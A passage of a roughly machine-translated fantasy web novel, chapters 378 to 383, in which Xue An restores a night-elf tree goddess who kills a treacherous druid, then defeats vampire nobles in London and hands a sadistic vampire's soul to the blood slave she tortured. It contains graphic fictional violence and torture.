

    "Master Mother God!"


    The inside of Stoke was cloudy.


    He came here as Xue An said, he was fully prepared.


    If we get together, it will be better.


    If you can''t agree, then you can just grab it.


    Unexpectedly, Xue An suddenly appeared in the middle.


    Now the mother goddess reappeared, disrupting all his plans.


    After hesitating for a while, Stukeli''s face gradually showed a cruel look, and he grinned and said, "What if she is not dead? Her aura has already declined to such a degree, what''s the difference between being alive and dead? Parting? Still can''t protect your line of night elves!"


    "So, this time the tree heart, I have to decide!"


    Following the voice, Stukeli roared.


    The whole person floated into the air, and countless branches and vines appeared behind him, wandering like a group of snakes.


    "Kill them all!" Stukeli shouted coldly.


    Aurorui was taken aback, and exclaimed: "Sacrifice your lord, you promise to live it well and you will not harm the elves!"


    boom!


    A vine directly wrapped around his neck like a snake, then lifted it into the air and twisted it hard.


    Click.


    The head fell to the ground.


    Stukeli said coldly: "Have I promised you? And today, who dares not to obey, die!"


    This **** scene caused Luna and all the elves who came to scream.


    Luna even roared: "Stuckery, you don''t deserve to have a natural heart at all!"


    "Hehe, what is the heart of nature? The weak eats the strong, only natural!"


    As Stukeli said, countless vines came straight to Luna.

 Chapter 378： In front of me, everything must surrender

    Some of them came to Xue An.


    For Xue An, Stokely also hated it.


    If it weren''t for him, there wouldn''t be so many things.


    After killing them all, grabbing the tree''s heart, and gaining the godhead of this tree god, he will become the true druid god!


    Do not!


    It should be said to be the **** of nature.


    Thinking of this, a smug smile appeared on the corner of Stukri''s mouth.


    But the next second, his smile freezes.


    Suddenly all the vines that had gone turbulently stopped in mid-air.


    Then it was as if they had encountered an absolute monarch, all crawling on the ground, turning into dead branches.


    "Wh... what''s going on?" Stukri couldn''t believe his eyes, and exclaimed.


    Xue An walked slowly on the dead branches and said lightly: "You control nature and think you are invincible, but you don''t know that in front of me, everything must be surrendered!"


    After all, Xue An popped a finger.


    boom.


    Stukri felt that a mighty force was coming, and in shock, he immediately wrapped himself in layers of vines.


    But this is useless at all.


    The force of this finger directly smashed all the vines wrapped outside.


    "No!" Stukeli yelled, turning his body into streamer, trying to escape.


    Countless vines suddenly turned against the guest, and directly trapped him in the air.


    Xue An said indifferently: "Now it''s over to you. It''s up to you to decide whether to swallow or let it go!"


    "Yes!" A faint sigh sounded in everyone''s heart.


    Stokeli yelled in horror, "Master Mother, I know I was wrong, please let me go!"


    "Druid, your heart of nature has been dusted, you know, nature is not only the weak and the strong, but full of beauty and vitality! You and I all originate from nature, so belong to me!"


    With that, countless vines directly submerged Stukri.


    After a scream, the vines dispersed, and there were no more traces of Stukri in the air. The only thing left was the gilded robe.


    Luna, including all the elves present, stared blankly.


    Lord Mother God has always been an extremely kind existence.


    Unexpectedly, this time he would actually kill.


    Xue An smiled slightly, "Very well, at least you already know how to resist! Then I will help you again!"


    Then he looked at Luna, "Thank you for asking my wife to come back!"


    Luna nodded blankly, and Ivero immediately said, "I''ll go please!"


    Soon, An Yan returned.


    Yuna and others also rushed to hear the news.


    Xue An took out several chalcedony spirit stones from An Yan''s mustard seed ring.


    Upon seeing this thing, the mother god''s surprised voice sounded.


    "You...you actually have this thing?"


    Xue An smiled, did not speak, then placed a few spirit stones and gently drew a magic circle.


    Then waved.


    A dazzling white light rose into the sky.


    The abundant aura directly entered the trees.


    The whole tree shook a few times like a giant stretching after waking up from a deep sleep, and then made a creaking sound.


    After that, all the elves felt that their strength began to gradually recover.


    The whole secret realm gradually returned to its original state, and the abundant aura slowly returned.


    This phenomenon naturally drew surprises from countless people.


    Then I saw a vine stretched out from the wall of the conference hall, with a bud at the end of the vine.


    The bud swayed a few times, and suddenly it bloomed.


    Among the buds, there is a beautiful woman in a green robe floating.


    The woman''s face looked a little fuzzy, but her body was permeated with powerful natural forces.


    All the elves knelt down with excitement, "My Lord Mother God!"


    The woman who appeared was the tree spirit of this giant tree.


    The woman fell into the dust, and then gave a small salute to Xue An.


    "Thank you, my lord, for your help."


    All the elves also bowed to Xue An, "Thank you, sir!"


    This scene also surprised the belated miss and Isabella.


    "Dad, what''s the matter?" the two little girls asked curiously.


    Xue An smiled, before he could speak.


    The woman chanted a fairy spell in a low voice, and a very soft supernatural power enveloped Xue Xiang and Xue Nian.


    Xue An was startled slightly, and then chuckled softly: "It''s true!"


    "Should!" Shu Ling said respectfully.


    Luna trembled: "Guardian of the Goddess of Nature?"


    It turned out that the divine power that just enveloped Xue Xiang and Xue Nian was a strong guardian used by the mother god.


    As long as the mother goddess still exists, then he can unconditionally resist the attack for Xue Xiang and Xue Nian.


    To put it bluntly, it is also to repay Xue An''s kindness.


    At this time, Xue An said lightly: "This spirit stone magic circle can only solve your temporary problems. The root cause is that there is a problem with your spiritual root."


    The tree spirit smiled bitterly, "My lord is right. Before, my spiritual root had been rooted in a secret realm, but then I didn''t know what was going on. I was suddenly cut off from the spiritual root and almost died.


    "Secret realm? What secret realm?" Xue An asked.


    "I don''t know too well, but the secret realm is very broad and full of aura. Most of the people living in it are monsters!"


    Xue An showed some interest, "Demon Race Secret Realm?"


    "Yes, my lord!"


    "This is interesting, can I still find that secret realm?"


    The tree spirit shook his head, "After my spiritual root was destroyed, I tried to find it again, but I couldn''t find it. There is only a trace of if there is still no connection, which shows that this secret realm is above the earth , Unfortunately I can''t find it anymore."


    Xue An nodded non-committal.


    That night, Xue An''s family lived in the secret realm of elves.


    The return of the mother **** made these elves ecstatic.


    Therefore, an extremely grand bonfire party was held.


    As the most distinguished guest, Xue An was placed in the main seat.


    When they were eating, Xue An suddenly understood why Isabella and Yuna were willing to take such a big risk to go to the outside world to eat.


    Because the food in this fairyland is really unpalatable.


    Although there are all kinds of small animals everywhere in this secret realm, elves whose fertility likes nature certainly refuse to kill these animals.


    So I can only eat the fruits that grow on the tree.


    And this fruit felt okay at first, but after a few bites, it felt bland and tasteless.


    This is really hard to swallow for Xue An and others who are used to food outside.


    But the wine here is not bad.


    They are all brewed with pure natural wild fruits and sap. It tastes sweet and sour and refreshing. Children can drink a few sips.


    An Yan loves this taste to death, drinking endlessly.


    And seeing her drinking like this, many elves not only cover their mouths and laugh.


    An Yan is still a little puzzled, what are these elves pointing at?


    When he was in doubt, these fruit wines that had entered his stomach suddenly turned into turbulent drinks.


    An Yan blinked his eyes, then plopped and fell to the ground, becoming drunk.


    Xue An looked at An Yan who was asleep, and couldn''t help crying or laughing. Then he picked her up and put her on the couch beside her.


    This silly girl really thought it was a drink?


    Actually drank a whole pot.


    The voice of the tree spirit sounded, "My lord, this fruit wine contains the power of nature. After being drunk, you can recover as long as you sleep, and it is good for the girl''s skin and body! So please don''t worry about the drunken lady.


    Hearing this sentence, Xue An was unconvinced.


    But sitting on the sidelines, Quintina, who doesn''t drink, slapped the table immediately, "Give me a pot too!"


    "Aren''t you not drinking?" Yuna asked curiously.


    "An exception today!" Quintina said gritted her teeth.

 Chapter 379： Godhead Fragment

    Quintina began to drink her drink.


    Xue An sat on a chair and watched the elves playing around.


    My two daughters have even gone crazy with Isabella.


    This warm and joyful scene made Xue An couldn''t help laughing.


    This race of elves, he had come into contact with when he traveled through the heavens.


    At that time, he had a good impression of this kind-hearted ethnic group who liked peace and indisputability, which was why he was willing to help.


    Xue An slowly drank a glass of wine, a smile appeared at the corner of his mouth.


    But no matter how kind people are, there are times when they are angry.


    Like now.


    Outside of the fairyland.


    Around the abandoned farm.


    A group of dark druids are silently lurking.


    It has been seven or eight hours since their leader, Druid High Priest Stukri, entered.


    This group of dark druids couldn''t help getting a little impetuous.


    "Master Mage, why did the high priest go in for so long?" Someone asked in a natural voice.


    The one called Master Mage is the existence of this group of druids, who is second only to the existence of high priest Stukri, Tolan.


    Tolan frowned slightly.


    It stands to reason that it''s just dealing with a dead elven goddess, and shouldn''t go so long!


    But Tolan was also extremely confident in Stukri, and he didn''t believe what else could happen to him, so he said in a deep voice.


    "Since the high priest asked us to wait here, then we shouldn''t act rashly, wait a little longer, and we may come out in a while."


    "Yes!" the druids responded.


    Then a druid silver smiled and said, "Hey, these elves have very good looks. When we capture this group, we can have fun!"


    His words drew a lot of druid laughter.


    The topic gradually became unbearable.


    Tolan did not speak.


    As a druid mage, he has to maintain a sense of mystery that is superior.


    However, in his heart, he was deeply impressed by what he said.


    Thinking of those beautiful and refined elf women, his heartbeat can''t help speeding up.


    Just when these druids were talking and laughing.


    The night suddenly became silent.


    A slight shock came from the land beneath him.


    Tolan was startled slightly.


    Then I felt a powerful force of nature suddenly hit.


    His expression changed and he roared, "There is an attack!"


    It''s a pity to say it too late.


    At least a dozen dark druids were directly entangled with vines.


    In the night, the rustling sound of vines wandering can be heard everywhere, as if countless poisonous snakes were creeping and crawling.


    This horrible scene made Tolan cold his hands and feet before yelling, "Quiet!"


    Following his order.


    The vines within several tens of meters around him were all still.


    Tolan let out a sigh of relief and shouted, "Transform me all!"


    The remaining twenty or thirty dark druids all howled when they heard this, and then transformed into various animals.


    There is a wolf of darkness.


    There is a black giant eagle.


    There is even a huge black bear over three meters tall.


    This is the druid''s strongest ultimate move, transformation technique!


    If Stukeli hadn''t been controlled by Xue An with vines, once he used his transformation, he would not have been swallowed by the Elf Mother God so easily.


    Now that these dark druids are all transformed, Tolan finally felt that he had some confidence and was about to fight back.


    The originally still vines suddenly twisted crazily, and then rushed with an aura that was several times stronger than before.


    After a few transformed druids resisted only a few times, they were directly bound by vines.


    The **** eagle will flap its wings and fly away.


    But a small flower branch has been wrapped around silently, and then suddenly shrunk.


    The giant eagle screamed.


    This flower branch is covered with steel-like hard barbs, which have penetrated deeply into the body of the giant eagle.


    Thorns!


    In this scene, Tolan''s soul flew out and was about to fight back.


    A few roots under his feet were rolled up, directly wrapped around his ankle, and then slammed.


    Tolan was hung upside down in the air.


    At this point, these dark druids were all tied up.


    Then a vine rose, and after the buds bloomed, the woman in green floated in the air, looking at the group of druids with cold expression.


    The pure and powerful force of nature made Tolan pale, "Mother... Mother God!"


    The green-clothed woman nodded slightly, and said with a hint of irritation: "Has the druids fallen to this point now? You are both in the same line of nature, but you are thinking of ruining my child?"


    Tolan''s eyes were full of horror.


    The appearance of the elven goddess naturally proved that there was something wrong with the high priest Stukri.


    How could he not be afraid.


    "My mother goddess, please forgive me!" Tolan begged.


    The elven goddess pondered for a moment.


    She is not a bloodthirsty god.


    This time, if it wasn''t for being pressed, or it would have swallowed Stukri.


    Although these druids are condemned, they are not guilty of death.


    So after hesitating for a while, she waved her hand The countless vines gradually withdrew, and then said coldly: "Let''s let you go once, remember, if you dare to hit my elves again, I will Deprive you of your natural heart!"


    "Yes! Thank you, Lord Mother!" Tolan replied with a trembling voice, and then led the group of druids who had escaped to escape.


    While running Tolan was still thinking, who said that the elves are good for bullying?


    This rabbit is biting in a hurry!


    What''s more, this mother **** is not like a dying person at all!


    As for the death of Stukri...


    Tolan secretly rejoiced in his heart that he died only after he had a chance to take the top position.


    In the elves secret realm, Xue An put down the wine glass and smiled, "Actually you shouldn''t let them go!"


    The Elf Mother returned to Xue An and sighed slightly.


    "It''s the same nature, I still can''t bear to start."


    "But when they wanted to deal with the elves, they didn''t hesitate to be in the same vein of nature!" Xue An said lightly.


    The Elf Mother God shook her head, "Forget it, kill a Stokely, it should have let them know that they are afraid!"


    Xue An smiled, this is the standard practice of the elves.


    This is also why this once formidable race became so unsatisfactory later in the heavens and all realms.


    You have to be forgiving and forgiving, others don''t think so.


    "My lord, you can call me Cloris from now on! This is my real name!" The Mother Elf said suddenly.


    Xue An nodded, "Is the forest goddess?"


    Cloris nodded, "After the dusk of the gods, the goddess of the forest shattered, and one of them fell on this giant tree, and then gradually grew to me!"


    Xue An smiled, "No wonder the Druid priest wants to get your tree heart so much. With your godhead fragments, he can be promoted to the **** of nature!"

 Chapter 380： Adults, please wash your feet

    Late at night.


    The grand bonfire party finally dissipated.


    Almost all the elves were drunk.


    They lie or lie down, just fall asleep on the ground.


    Elder Luna came over and said respectfully: "My lord, a place has been arranged for you, please come with me!"


    Xue An nodded, picked up An Yan and followed.


    As for thinking about these two little girls.


    They have followed Isabella back to rest.


    The three little girls had fun today, but they were all too tired. They only ate a few bites for dinner, and then went to bed early.


    Xue An thought a little funny, if you want to think about it, Isabella, who looks only five or six years old, is actually more than a hundred years old, and she doesn''t know what her expression will be.


    When he returned to his residence, Xue An carefully placed An Yan on the wooden bed.


    Luna did not leave, but said with a smile: "My lord, I am really sorry, there is no suitable room, there is only such a suite, or you can live in the next room!"


    Xue An nodded, "Okay!"


    Luna settled in Xue An again, and then turned and left.


    Xue An was sitting in this naturally formed tree hole, listening to An Yan''s even snoring sound from the next door, feeling a little funny.


    This silly girl is so cute sometimes.


    Exclaiming, the wooden door opened with a creak.


    Xue An was startled slightly.


    Then Yuna walked in with her head down, flushed.


    He also had a basin of water in his hand.


    "My lord, please wash your feet!"


    Xue An smiled, "Okay, put it there!"


    Yuna hesitated, but did not leave, "I''ll wash it for the adults!"


    Xue An shook his head, "No, I can do it myself! Thank you!"


    In fact, Xue An didn''t need to wash his feet at all, just casually perfunctory.


    Yuna still didn''t leave.


    "Is there anything else?" Xue An raised his eyes and said lightly.


    Yuna''s shy whole person was red, as if a red candle was burning.


    Then he stammered and said with a mosquito-like voice: "Big...sir, I''ll...accompany you..."


    Xue An waved his hand, "Okay, don''t talk about it! Go back and tell Elder Luna, I thank her for her kindness, but I already have a family, and I help you, and I am not greedy for anything in return!"


    Yuna was stunned.


    Elder Luna personally said this to her in the evening.


    Yuna was shy to listen at the time.


    After all, her age is only the equivalent of a seventeen or eighteen-year-old girl among human beings.


    But Elder Luna was very serious and told Yuna.


    Xue Annai is the great benefactor of the entire family of night elves.


    If there is no him, then the entire ethnic group will face a disaster.


    In order to repay her kindness, Yuna, as the most beautiful girl in the clan, should make sacrifices.


    After Yuna listened, she couldn''t help getting up in awe, and nodded her head.


    In fact, Yuna''s feelings for Xue An are also somewhat complicated.


    Had it not been for Xue An''s move today, she and Isabel would have fallen into the clutches of the Bright Church.


    From this point, Yuna was very grateful to Xue An.


    Moreover, this human man, who looks better than the most beautiful elves, is so powerful and terrifying that even the mother goddess must respect him.


    The combination of these gave Xue An a strong attraction to this elven girl.


    That''s why she took the initiative to come to Xue An''s room.


    Unexpectedly, Xue An actually refused.


    Yuna''s heart was full of frustration, she slowly lowered her head, her slender fingers fiddled with the corners of her clothes, and whispered: "Sir, I know you have a family, but I''m just waiting for you, and I will leave at dawn."


    The meaning in this sentence is clear.


    Only waiting for bed, no other attempts.


    At this time, the adults should have agreed. Yuna thought silently in her heart.


    She is very aware of the attractiveness of an elf girl like herself to human men.


    Imagine that in the middle of the night, a beautiful elf girl comes to the door, and she keeps asking for your sleep without asking for anything in return.


    This fatal temptation without paying any responsibility!


    No man can resist.


    Except Xue An.


    He smiled slightly, shook his head and sighed: "I said, I save you, I just have a good impression of your elves, rather than coveting the so-called return! Go back!"


    Yuna finally understood that Xue An was telling the truth, not pretending to be noble.


    "Big...sir." Yuna couldn''t believe it was true.


    Xue An waved his hand, "Go, remember to close the door for me! Thank you!"


    Yuna walked out of Xue An''s room with a face of astonishment, took the door from the outside, then looked up at the towering giant tree, and muttered: "Master Mother, Yuna is so ugly. Yet?"


    And Evro, who was full of pain, hiding in the shadow of the trees, couldn''t help being stunned after seeing Yuna leaving Xue An''s room.


    He has liked Yuna for a long time.


    Many of the elves knew about Yuna''s going to Yuna''s room tonight.


    And all agreed with this decision.


    Evro naturally knew that, although he was full of unwillingness, he also knew that this was the most correct decision.


    After all, it is the best deal for the night elves to win such a peerless strongman with a young girl.


    But the feelings in his heart cannot be faked When he hides in the distance and watched Yuna walk into Xue An''s room, the sadness in his heart almost drives him crazy.


    Unexpectedly, Yuna actually came out.


    The pain on Ephro''s face gradually dissipated, and real respect appeared in the eyes of Xue An''s room.


    And in Luna''s room.


    The goddess Cloris floated in mid-air, shaking his head and sighed softly: "Luna, you shouldn''t do this!"


    Luna smiled bitterly, "I thought human men are all the same, but I didn''t expect this adult to be so firm."


    "Can you be a peerless powerhouse, but how many unsteady ones? This adult is obviously very fond of his wife, what an enviable love!" Cloris said softly.


    "Master Mother, what is the origin of this master?" Luna couldn''t help but curiously asked.


    Cloris shook his head.


    "I can''t see through it either, but my grand prophecy tells me that the adults have unparalleled luck on their shoulders."


    Speaking of this, a hint of horror appeared on Cloris'' face. She had never seen such a vast expanse of luck in a person, and she knew it in her heart.


    What he saw with his big prophecy was nothing but a broken picture.


    But even so, it was enough for her to be deeply in awe.


    And in the room, An Yan, who had been awake asleep after Yuna left, raised the corners of her mouth and a faint smile appeared, then turned over and fell asleep again.


    The next day, when Xue An walked out of the room.


    Every elven tribe who saw him would stand respectfully by the side of the road and salute.


    Especially those elven girls, all looked at Xue An with admiration.


    What happened last night has been spread.


    Xue An used his practical actions to win the respect from the heart of this group of night elves.

 Chapter 381： Little Witch Serena

    And when Xue An was still in the fairyland.


    London.


    A woman with a baseball bat in her hand, a pair of pony tails, heavy eye shadows, a slim T-shirt on her upper body and a bikini shorts underneath, walked slowly to the front of the hotel.


    She first looked up at the door of the hotel.


    "You actually smelled the humble blood slaves, it should be this hotel!" The woman blew a chewing gum bubble and said lightly.


    From the shadows behind her, two men dressed like gentlemen walked over.


    One of them said helplessly: "Selena, you are also a marquis of blood, can you not dress yourself up like a little Chelsea bastard?"


    Serena rolled her eyes and raised her **** at the man.


    "Marcus, do you believe it or not if you talk to me in this admonishing tone, I will be happy to pull your wings off and roast them?"


    After that, she twisted her slender waist and walked into the hotel arrogantly.


    The two men behind looked at each other.


    One of the men smiled bitterly: "Marcus, I told you a long time ago, don''t ask her with the attitude of treating ordinary blood, this Serena..."


    The man pointed to his head, "There may be something wrong here!"


    Before he could say anything, the baseball bat flew with a sharp wind and hit the man''s head.


    The man was smashed and flew out, a scar appeared on his head, and he couldn''t help screaming: "Selena, you are a madman!"


    "Thank you for the compliment!" Serena said without looking back.


    She walked into the hotel lobby and smiled at the dumbfounded people all over the room.


    "Ladies and gentlemen, I''m sorry! This hotel is closed! Please get out of here!"


    Her words caused a commotion. Many people looked at Serena in amazement, and the two security guards walked quickly.


    "Madam, please don''t make a noise here, otherwise we..."


    Before the words fell, the heads of the two security guards exploded.


    The blood appeared along with the scream.


    Everyone shivered.


    Serena was chewing gum and laughed nervously.


    "What a wonderful scream! Now I count three times. If there is no one left after the three times, then the end will be the same as these two security guards!"


    "One!" Serena shouted faintly.


    These well-dressed men and women all ran out with a panic on their faces. Even the women didn''t care about their demeanor, so they threw away their high heels and ran out quickly.


    Only when I reached the door, it was all squeezed into a ball, crying and screaming everywhere.


    "Three!" Serena shouted three directly, and then smiled slightly, "I''m sorry, it seems that everyone has not left, then let me harvest your blood!"


    With that, Serena''s eyes became blood red, and the three pairs of wings stretched out after themselves.


    The strong momentum enveloped the audience.


    The two men had already arrived in the hotel at this time, seeing Serena showing wings, and couldn''t help feeling a little frustrated.


    "Damn, this woman is starting to go crazy again, does she want to kill all these people? This will attract the Church of Light!"


    Serena didn''t care about these at all.


    Is preparing to start with these humans.


    Benedict heard the noise and rushed over.


    But when he saw Serena, he trembled all over, turned around and wanted to run.


    Serena smiled slightly, "Humble blood slave, do you want to run when you see me?"


    With that, she turned into a streamer, rushed directly, and directly pushed Benedict to the ground.


    Benedict was trembling with fright, "My Honorable Marquis, please spare your life!"


    Serena bit her lower lip, slowly leaned down, and said in Benedict''s ear: "Tell me where the man who killed the Duke is, I can make you die faster!"


    Benedict just hesitated.


    Serena tried hard.


    Click.


    Benedict''s arm was severely broken, and he smiled and said, "I''m very happy, you didn''t tell me!"


    Benedict finally remembered something, and cried out in horror, "You are the little witch Serena!"


    Serena leaned slightly and said gracefully: "I''m glad you know me! I will treat you as the best plaything, and slowly enjoy the following games!"


    ����������������


    "Missing Nian, we should go now, come back to play with Bella, okay?" An Yan said.


    Thinking and Nian Nian pouted, "No, we have to play with Miss Bella!"


    Isabella reluctantly held them by the hand.


    As the only child in the fairyland, she had been alone for too long.


    The appearance of the two playmates, Thinking and Niannian, made her find the long-lost joy, and naturally she was reluctant to let them go.


    An Yan glanced at Xue An embarrassedly.


    Xue An smiled, knelt down and looked at the two little girls, "Then Mom and Dad are leaving now, do you still want to play here?"


    The two little girls hesitated.


    At this moment, the elven goddess Cloris appeared and said respectfully: "My lord, it''s okay to let the two little girls play here. My Cloris promises that they won''t be harmed at all~www.novelhall. com~Speaking, two light spots are floating in the air.


    "My lord, this is the mark of this secret realm. You and your wife can come back anytime with it!"


    Xue An looked at An Yan, then nodded.


    The two little girls jumped up happily, "Mom and Dad, you go, don''t worry about the two of us!"


    Xue An smiled and touched the heads of the two little girls separately, "Well, then you guys are playing here! Dad will pick you up in two days!"


    "Hmm!" The two little girls nodded.


    Isabella even gave a deep salute to Xue An and said gratefully: "Sir, I and Miss Miss are best friends, and I will take care of them!"


    Xue An took An Yan and Quintina, and walked out of the elves secret realm under the presence of Cloris.


    Until returning to the streets of London, An Yan was still a little uneasy, "Husband, is this all right?"


    Xue An smiled, "Don''t worry, these elves are very kind in nature, and the two little girls are not our vassals. They are growing up and will always have their own friends and partners. We should respect their choices."


    Even though he said that, An Yan always felt a little lost and unaccustomed.


    After all, since her return, the two little girls have never left.


    Xue An smiled and whispered in An Yan''s ear: "Furthermore, we haven''t spent our two-person world since we came back. This time we finally have a chance. Don''t you just enjoy your newlywed honeymoon trip? ?"


    An Yan''s face flushed, and she whispered softly, "You have already planned that way, right?"


    Xue An nodded with a smile.


    "Big villain!" An Yan gave a light spit, and then smiled happily.


    The two happily sprinkled dog food in front.


    Quintina followed with a look of envy.

 Chapter 382： Kinship HIBUN

    suddenly.


    Quintina''s face changed, and she turned to look away.


    "What''s the matter?" An Yan couldn''t help asking when he noticed something strange.


    Quintina''s blood was surging, and her expression was pale, "Master, someone is attacking my blood slave!"


    "Benedict?" Xue An said lightly.


    "Yes! And it should be a very powerful blood!" Quintina said solemnly.


    Xue An''s eyes lit up, the corners of his mouth raised, and a faint smile, "After waiting so long, it''s finally here!"


    At the same time, in the hotel.


    A scream came from the room.


    The two of Marcus couldn''t help turning pale when they heard it outside.


    "Would you like to check it out, otherwise Serena, a lunatic, might torture this blood slave alive!"


    "If you want to go, I dare not provoke this madman anyway!"


    "But if this blood slave dies, the clue will be broken. How can you find the murderer who killed the Duke of Aldington?"


    The two are discussing outside.


    The door of the room opened.


    Serena walked out covered in blood, and greedily licked the blood drop at the corner of her mouth.


    "This feeling is really refreshing!" Serena sighed and said with aftertaste.


    "Did you ask?" Marcus asked with a frown.


    "Ask what?" Serena looked inexplicable.


    "Nonsense, of course, where is the guy who killed the Grand Duke of Aldington?"


    Serena was startled, and then smiled, "I''m sorry, I just want to enjoy it, I forgot about this!"


    "What?" Marcus screamed, "Then what did you torture in there for a long time?"


    "I just played a game with him!" Serena lit a cigarette and said nonchalantly.


    "You **** lunatic!" Marcus roared and pushed the door into the house.


    The scene inside made Marcus, who was used to seeing the **** scenes, feel a little sick.


    "Gosh, what did Serena do? Are you eating people?" Marcus said disgustedly, looking at Benedict on the bed.


    At this moment, Benedict had already turned into a pool of rotten flesh and blood. If it weren''t for the fact that he was a blood slave, he would have died.


    But the blood slave''s super vitality became Serena''s best tool to torture him.


    "What the **** are you asking? I''ll tell you all now, then please kill me!" Benedict was on the verge of collapse.


    "Sorry, sir, you have been treated unfairly. We just want to know who killed the Grand Duke of Aldington and the Marquis of Cecil? And where is the murderer now?"


    Hearing these words, Benedict trembled all over, then looked at Marcus with horror on his face.


    "I don''t know, I really don''t know where they are!"


    Marcus frowned slightly, "It''s a pity, Mr. Blood Slave, since you still want to resist, then I have to continue to let Serena spend the next good time with you!"


    There was a sudden gurgling noise in Benedict''s throat, and then blood poured out of his mouth.


    Serena rushed in and shouted at Marcus, "Damn, you almost ruined my toy!"


    With that said, she rushed forward and squeezed Benedict''s mouth, and skillfully pulled out Benedict''s bitten tongue.


    The trachea that was blocked by blood regained its flow, but Benedict looked at Serena with a horrified face, and didn''t know what he was talking about.


    Serena smiled nervously, and then dropped a drop of her own blood into Benedict''s mouth.


    The blood of the blood marquis quickly recovered from the injury in Benedict''s mouth, and even his tongue grew again.


    "I''m very curious, you are just a humble blood slave. What are you resisting? But the more you are like this, the more excited I will be! What a great toy!" Serena smiled sullenly.


    The screams sounded again.


    Marcus left the room with a pale face, and shrugged at his companion outside the room.


    "I swear, next time I will never perform tasks with this madman!"


    The voice just fell.


    There was a loud and deafening noise.


    The walls of the hotel collapsed.


    Under the shock, smoke was everywhere.


    When Marcus and others were in a daze.


    Xue An slowly walked out of the smoke and dust. After seeing Marcus and the others, he was slightly startled, and then shook his head disappointedly, "It''s actually just two blood marquis? It''s meaningless!"


    Marcus recovered at this time, staring at Quintina who walked in after Xue An, his eyes flickering, "You have the breath of Marquis Cecil! Did you kill him?"


    Quintina nodded, "Yes!"


    "That said, even Aldington..."


    Xue An smiled slightly, "I killed that!"


    Marcus''s expression condensed.


    At this time, Serena had already rushed out of the room.


    After seeing her, Quintina couldn''t help screaming.


    "Little witch, Serena!"


    Serena lifted her double ponytail up with her blood-filled hands, and then said with a smile: "I have to admit, your blood slave is very good, you can actually persist under my hands until now!"


    Quintina looked gloomy This little witch is very famous among the blood.


    Although only the strength of the Marquis, many people are frightened because of their crazy work.


    More importantly, she is still a capable man of a big figure in the Blood Race Council, and this kind of existence cannot be underestimated.


    At this time, Serena had already focused on Xue An, her eyes gradually becoming greedy and excited.


    "It''s a perfect figure. If you were made into a specimen, my lord would definitely like it! This woman is also good, as a toy dedicated to my lord, he will definitely reward me heavily, hehehehehe."


    Unlike her madness, the expressions of Marcus and others became serious.


    After all, Xue An''s ability to kill a grand duke must not be underestimated.


    Xue An sighed slightly, "What a dirty race!"


    With that, Xue An didn''t bother to talk nonsense with these people. After taking a step, countless sword lights appeared in the air.


    This scene surprised Marcus, and then shouted in horror: "Use the secret text!"


    Serena smiled and threw out a piece of parchment.


    The reason why they dared to investigate this matter with the strength of the Marquis was entirely based on the secret text issued to them by the Blood Council.


    There is a mantra of a blood prince sealed on it, which can easily defeat a grand duke, which is a symbol of the supreme power of the blood council.


    The parchment turned into a **** scythe in the air, and Serena screamed excitedly.


    "My lord is here, kill you and wait!"


    As she said, she held the long sickle and blasted Xue An and the others.


    The strong breath of death exuded from the sickle, which made people frightened.


    Quintina had stepped back several steps, still unable to face the strong blow with the breath of the blood prince.


    "Go to hell!" Serena said with a grin.

 Chapter 383： I never fear

    Wherever the sickle passed, the sword light gradually fell.


    But at this moment, a slender hand pierced through the layers of blood and directly held this **** sickle.


    Marcus and others were all taken aback, "How is it possible!"


    This scarlet sickle was transformed by the blood of the blood prince, and it was invincible.


    How could anyone hold it with one hand?


    Serena couldn''t help being stunned.


    Xue An only sighed slightly, "Is that so? It''s really boring!"


    After all, he pressed his palm.


    Click.


    Xue An abruptly crushed the scarlet sickle.


    Then in the horrified eyes of Marcus and others, Xue An snapped out.


    Serena was like being hit by a high-speed train. She flew upside down and smashed three walls before she could stop.


    Marcus and the two trembled, the wings behind them suddenly stretched out, and they were about to flee.


    Xue An waved.


    Two white flames were contaminated on their bodies.


    The two screamed, and the flame burned, turning the two blood races into nothingness.


    Then Xue An slowly walked towards Serena in the ruins.


    At this moment, Selena''s joints were shattered by Xue An''s fingers. She was trembling slightly in pain, but her face was full of excitement.


    "You are really strong!" Serena said with a smile.


    Xue An smiled faintly, "You don''t seem to be afraid at all."


    "Hehe, fear is useless except for being cowardly, so I never fear!" Serena''s eyes flashed with excitement and madness.


    At this time, Xue An also noticed Benedict who was bruised on the bed, and frowned slightly.


    "You did this?"


    Serena nodded disapprovingly, "Yes, it''s just a humble blood slave, but he is very tough, and didn''t reveal your whereabouts in the end."


    Xue An smiled, "Humble blood slave? Very good, I wanted to kill you, but now...I changed my mind!"


    Then Xue An pointed to Benedict on the bed, "I think you will like your new owner very much."


    "What?" Serena widened her eyes.


    "I mean..." Xue An paused, and smiled slightly, "Since you look down on the blood slave so much, then you should treat him as your master!"


    Xue An''s words caused Benedict, who was recovering from his injuries, to tremble, "My lord..."


    Serena laughed arrogantly as if she had heard a big joke.


    "Serve him as the master? I...I am a noble blood marquis, and actually want me to be a blood slave as master? You..."


    Before the latter words were finished, Xue An had already pointed on Serena''s forehead, and then a faint light appeared in Xue An''s hands.


    Xue An casually threw it, and the light flew into Benedict.


    As the light flew in, Benedict''s injuries began to recover rapidly, and the whole person''s momentum was also rising.


    And Serena now wakes up from the severe pain of being pulled away from a part of her soul, and roars: "What did you do to me?"


    Xue An said indifferently: "Naturally let you serve him as Lord! Now your soul is in his hands, and if he lets you live, you will live! If you die, you must die! Understand?"


    Serena trembled all over, she had never felt what it was like to be fearful, and her heart was finally occupied by fear.


    "How is it possible, how can you play with the soul of a blood marquis, I don''t believe it!"


    Xue An ignored her, but smiled at the bewildered Benedict, "Now, she belongs to you! What she imposed on you, you can now get revenge!"


    Benedict looked at Serena, who was trembling all over, and a mysterious feeling surged into his heart, as if he could make her soul fly away in a single thought.


    Serena felt this feeling too.


    But in her eyes, Benedict is like a god, noble and inviolable.


    Quintina smiled slightly, "Benedict, haven''t you thanked your lord? He''s avenging you!"


    Benedict trembled, and immediately knelt down respectfully, "Thank you, my lord!"


    Xue An smiled faintly, turned around and walked outside, and at the same time said softly: "Don''t play to death, keep her alive, I''m still useful!"


    "Yes!" Benedict replied respectfully, then turned to look at Serena, his face gradually showing ruthlessness.


    "My lord is right, what you imposed on me, today, I want you to repay it twice!"


    The screams sounded from the room again.


    And Xue An has led An Yan to drink tea in another room.


    Quintina stood aside, and stopped talking several times.


    "What''s wrong?" Xue An put down his teacup and said lightly.


    "My lord, Serena''s cultivation level is not high, but what she represents is the dignity of the Blood Council. Now that you let him forcibly recognize the Lord Benedict, then you are invisibly hitting the Blood Council in the face. This����."


    There was a trace of worry on Quintina''s face.


